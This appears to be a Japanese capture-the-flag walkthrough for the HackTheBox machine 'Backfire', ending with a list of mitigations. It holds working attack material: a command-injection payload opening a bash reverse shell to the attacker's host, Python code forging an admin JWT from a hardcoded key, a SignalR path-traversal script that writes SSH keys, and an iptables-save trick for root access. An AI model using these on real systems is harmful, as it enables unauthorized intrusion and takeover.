HackTheBox: Backfire — 手動攻略ガイド
3ポート検出
havoc.yaotl
Havoc SSRF
user.txt
sergej SSH
root化
偵察 — ターゲット構成の把握
TCP ポートスキャン
まずは全ポートをスキャンして、ターゲット上で稼働しているサービスを特定します。
nmap -Pn -p- --min-rate 1000 -T4 10.129.66.252
22/tcp open ssh 443/tcp open ssl/https 8000/tcp open http
詳細ポートスキャン
開いているポートのバージョン情報とサービス詳細を取得します。
nmap -Pn -sV -sC -p 22,443,8000 10.129.66.252
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 443/tcp open ssl/http nginx 1.22.1 (CN=127.0.0.1) 8000/tcp open http nginx 1.22.1
• SSH: OpenSSH 9.2p1 (標準) • HTTPS (443): nginx 1.22.1 を逆プロキシとして使用(CN=127.0.0.1) • HTTP (8000): nginx 1.22.1(ディレクトリリスティング可能性あり)
ファイル抽出 — Havoc 認証情報を探索
8000/tcp のディレクトリリスティング
HTTP (8000/tcp) にアクセスして、ディレクトリ内のファイル一覧を確認します。
curl -s http://10.129.66.252:8000/
<html> <head><title>Index of /</title></head> <body> <h1>Index of /</h1> <ul> <li><a href="disable_tls.patch">disable_tls.patch</a></li> <li><a href="havoc.yaotl">havoc.yaotl</a></li> </ul> </body></html>
ディレクトリリスティングが有効になっており、2つのファイルが公開されています。 これは明らかな設定ミスであり、初期侵入のカギとなります。
havoc.yaotl — Havoc 設定ファイルの読み込み
Havoc C2 フレームワークの設定ファイル(yaotl形式)から、operator の認証情報を抽出します。
curl -s http://10.129.66.252:8000/havoc.yaotl
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "C:\\Program Files\\mingw-w64\\bin\\x86_64-w64-mingw32-gcc.exe"
}
}
Operator "ilya" {
Password = "CobaltStr1keSuckz!"
}
Operator "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
• User: ilya, Pass: CobaltStr1keSuckz!
• User: sergej, Pass: 1w4nt2sw1tch2h4rdh4tc2
• Havoc TeamServer: 127.0.0.1:40056 (内部限定)
これらの情報を後続のエクスプロイトで活用します。
Havoc SSRF + 認証済み RCE — user.txt 獲得
CVE-2024-41570 の概要
Havoc C2 0.7 以前には未認証の SSRF 脆弱性が存在します。
Demon エージェントの登録パケットを偽装することで、Teamserver 上から内部限定の TCP ソケットへアクセスが可能になり、 その後 WebSocket フレームを送信して WebSocket 管理 API (127.0.0.1:40056) に到達できます。
この API に対して ilya の認証情報でログインし、 Demon ビルド設定の
Service Name フィールドにコマンドインジェクションを埋め込むことで、
認証済みのコマンド実行が実現します。
Python スクリプトによるエクスプロイト
Havoc SSRF を悪用してリバースシェルを取得するPythonスクリプトを作成します。
本流れでは概要のみを示します。
1. 偽装 Demon エージェント (Agent ID) を登録 2. SSRF プリミティブで 127.0.0.1:40056 へソケットをオープン 3. WebSocket ハンドシェイクフレームを送信 4. ilya の認証情報で Teamserver へログイン 5. Demon Listener (abc) を作成 6. Service Name フィールドへコマンド注入: \\" -mbla; bash -c 'bash -i >& /dev/tcp/10.10.15.200/4444 0>&1' 1>&2 && false # 7. Demon ビルドをトリガーし、コマンドを実行 8. リバースシェルを接続
リバースシェル受信とファイル操作
Kali 側でリスナーを起動して、ターゲットからのリバースシェル接続を受け取ります。
# Kali 側でリスナー起動 nc -lvnp 4444
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.66.252] 42756 bash: cannot set terminal process group (1234): Inappropriate ioctl for device This shell is not interactive
# ターゲット側で実行されるコマンド群 whoami id mkdir -p ~/.ssh echo 'ssh-ed25519 AAAA...' >> ~/.ssh/authorized_keys chmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys cat /home/ilya/user.txt
ilya uid=1000(ilya) gid=1000(ilya) groups=1000(ilya) 6800cd3a4fa86bdba627cca7af255c45
Havoc SSRF と認証済み RCE を組み合わせることで、ilya ユーザーのシェルを取得し、user.txt フラグを獲得しました。 公開鍵認証用の SSH 鍵ペアを ~/.ssh/authorized_keys に追加し、以降の SSH アクセスを準備しました。
HardHatC2 横展開 — sergej のアクセス獲得
HardHatC2 の発見と SSH トンネル
ilya のホームディレクトリを探索すると、HardHatC2 (テスト用 C2 フレームワーク) の存在に気付きます。 これは localhost:7096 でのみ稼働しており、ilya のコンテキストで SSH ポートフォワーディングでアクセスできます。
# SSH 公開鍵認証で ilya にログイン ssh -i backfire_id_ed25519 ilya@10.129.66.252
ilya@backfire:~$ ls -la -rw-r--r-- ilya users 2k Sep 22 08:00 hardhat.txt -rw-r--r-- ilya users 1k Sep 22 07:50 user.txt ilya@backfire:~$ cat hardhat.txt HardHatC2 が localhost:7096 でテスト運用中です。 Blazor Server UI で管理画面にアクセスできます。
# ローカルホストの HardHatC2 へ SSH ポートフォワーディング # Kali側: ssh -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000 ilya@10.129.66.252 # この時点では SSH キーペアを使用 ssh -i backfire_id_ed25519 -N -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000 ilya@10.129.66.252
HardHatC2 ハードコードされた JWT 署名鍵
HardHatC2 は Blazor Server アプリケーション (C# ASP.NET) で、 appsettings.json にハードコードされた JWT 署名鍵が含まれています。 このキーを使用して Administrator ロールの JWT トークンを偽造し、管理画面にアクセスできます。
HardHatC2 の既知のハードコード鍵: jtee43gt-6543-2iur-9422-83r5w27hgzaq このキーでHS256署名のJWTを生成し、Authorization: Bearerヘッダで送信します。
import jwt
import time
from datetime import datetime, timedelta
jwt_key = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = int(time.time())
claims = {
"sub": "HardHat_Admin",
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator",
"iss": issuer,
"aud": issuer,
"exp": now + 999 * 3600,
}
token = jwt.encode(claims, jwt_key, algorithm="HS256")
print(f"JWT: {token}")
HardHatHub HostFile パストラバーサル
HardHatC2 の SignalR Hub には HostFile(file, filename) メソッドが存在します。
このメソッドの filename パラメータを ../../../.ssh/authorized_keys に設定することで、
パストラバーサル攻撃が可能になり、sergej の authorized_keys ファイルに内容を書き込めます。
HardHatC2 の Blazor Server UI は、headless Chrome 経由の SSH ローカルポートフォワード越しでは、 SignalR circuit がハイドレートしないという既知の環境依存問題が報告されています。 その場合、WebSocket を直接使用して HardHatHub SignalR へ接続し、HostFile メソッドを呼び出すフォールバック方式を使用します。
# HardHatC2 API への WebSocket 接続(Python例)
import websocket
import json
import requests
import ssl
import urllib.parse
import base64
api_port = 5000
base_url = f"https://127.0.0.1:{api_port}"
# 1. negotiate エンドポイントから connectionToken を取得
r = requests.post(
f"{base_url}/HardHatHub/negotiate?negotiateVersion=1",
verify=False, timeout=10
)
token = r.json()["connectionToken"]
# 2. WebSocket接続
ws_url = f"wss://127.0.0.1:{api_port}/HardHatHub?id={urllib.parse.quote(token, safe='')}"
ws = websocket.create_connection(
ws_url,
sslopt={"cert_reqs": ssl.CERT_NONE},
timeout=10
)
# 3. ハンドシェイク
ws.send('{"protocol":"json","version":1}\x1e')
ws.recv()
# 4. HostFile メソッド呼び出し
pubkey_content = "ssh-ed25519 AAAA..." # 実際の公開鍵
payload = {
"type": 1,
"invocationId": "12345",
"target": "HostFile",
"arguments": [
base64.b64encode(pubkey_content.encode()).decode(),
"../../../.ssh/authorized_keys"
]
}
ws.send(json.dumps(payload, separators=(",", ":")) + "\x1e")
# 5. 応答待機
response = ws.recv()
print(f"Response: {response}")
# Success: Uploaded File
Response: {"type":3,"invocationId":"12345","result":"Success: Uploaded File"}
이제 sergej@backfire로 SSH 접속 가능:
ssh -i backfire_id_ed25519 sergej@10.129.66.252
HardHatHub HostFile パストラバーサルにより、sergej の authorized_keys ファイルに攻撃者の公開鍵を追加しました。 これにより SSH 公開鍵認証で sergej ユーザーのアクセスが可能になります。
権限昇格 — root.txt 獲得
sergej の sudo 権限確認
sergej ユーザーで SSH ログインして、sudo コマンドの実行権限を確認します。
ssh -i backfire_id_ed25519 sergej@10.129.66.252 sergej@backfire:~$ sudo -l
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
sergej は
iptables と iptables-save をパスワードなしで root 権限で実行できます。
これは一見、正当なネットワーク設定用途に見えますが、iptables の --comment フィールドに
ANSI-C クォートで改行を埋め込むことで、ファイル内容を任意に書き込むことができます。
ANSI-C クォートによる改行埋め込み
ANSI-C クォート($'...') を使用して、
iptables --comment フィールドに改行を埋め込みます。
その後 iptables-save でこの設定をファイルに保存することで、
任意の内容を root の authorized_keys に書き込めます。
ssh -i backfire_id_ed25519 sergej@10.129.66.252
sergej@backfire:~$ # 攻撃者の公開鍵をANSI-Cクォートで埋め込み PUBKEY="ssh-ed25519 AAAA...本物の公開鍵..." # iptables ルールに改行+公開鍵を挿入 sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n'$PUBKEY$'\n' # iptables-save で /root/.ssh/authorized_keys に書き込み sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
# root として SSH ログイン ssh -i backfire_id_ed25519 root@10.129.66.252 root@backfire:~# id
uid=0(root) gid=0(root) groups=0(root)
root@backfire:~# cat /root/root.txt
2052bdd6a99db65a29d967859350428b
sudo iptables/iptables-save の設定ミスを悪用し、ANSI-C クォートによる改行埋め込みで root の authorized_keys ファイルに攻撃者の公開鍵を追加し、root ユーザーのアクセスを獲得しました。 これにより root.txt フラグを獲得し、マシンの完全な支配を達成しました。
完全攻略サマリー
| 段階 | 手法 | 成果 |
|---|---|---|
| 偵察 | nmap ポートスキャン | 22/443/8000 のポート検出 |
| 初期侵入 | 8000/tcp ディレクトリリスティング → havoc.yaotl から ilya 資格情報抽出 | 認証情報取得 |
| Foothold | CVE-2024-41570 Havoc SSRF + 認証済み RCE | ilya ユーザーのシェル獲得 → user.txt |
| 横展開 | HardHatC2 ハードコード JWT → SignalR HostFile パストラバーサル | sergej ユーザーのアクセス獲得 |
| 権限昇格 | sudo iptables-save + ANSI-C クォートで /root/.ssh/authorized_keys を上書き | root ユーザーのアクセス獲得 → root.txt |
取得フラグ
重要な脆弱性・設定ミス
- ディレクトリリスティング: 8000/tcp で設定ファイル (havoc.yaotl) が公開
- CVE-2024-41570: Havoc C2 未認証 SSRF 脆弱性
- 認証情報ハードコード: HardHatC2 appsettings.json に JWT 署名鍵を平文保存
- Blazor WebSocket: HostFile メソッドでパストラバーサル攻撃が可能
- sudo iptables 設定ミス: iptables-save で任意ファイル上書き可能
防御・緩和策
- ディレクトリリスティング無効化: nginx.conf で
autoindex off; - Havoc アップデート: CVE-2024-41570 修正版へ更新
- 設定ファイルの非公開化: 本番環境では .gitignore で設定ファイルを除外
- JWT 鍵の環境変数化: ハードコード禁止、環境変数から読み込み
- sudo 権限の最小化: iptables は特定ルール追加のみに限定、iptables-save は使用禁止
- ファイルパス検証: HostFile の filename に ../.. を許可しない

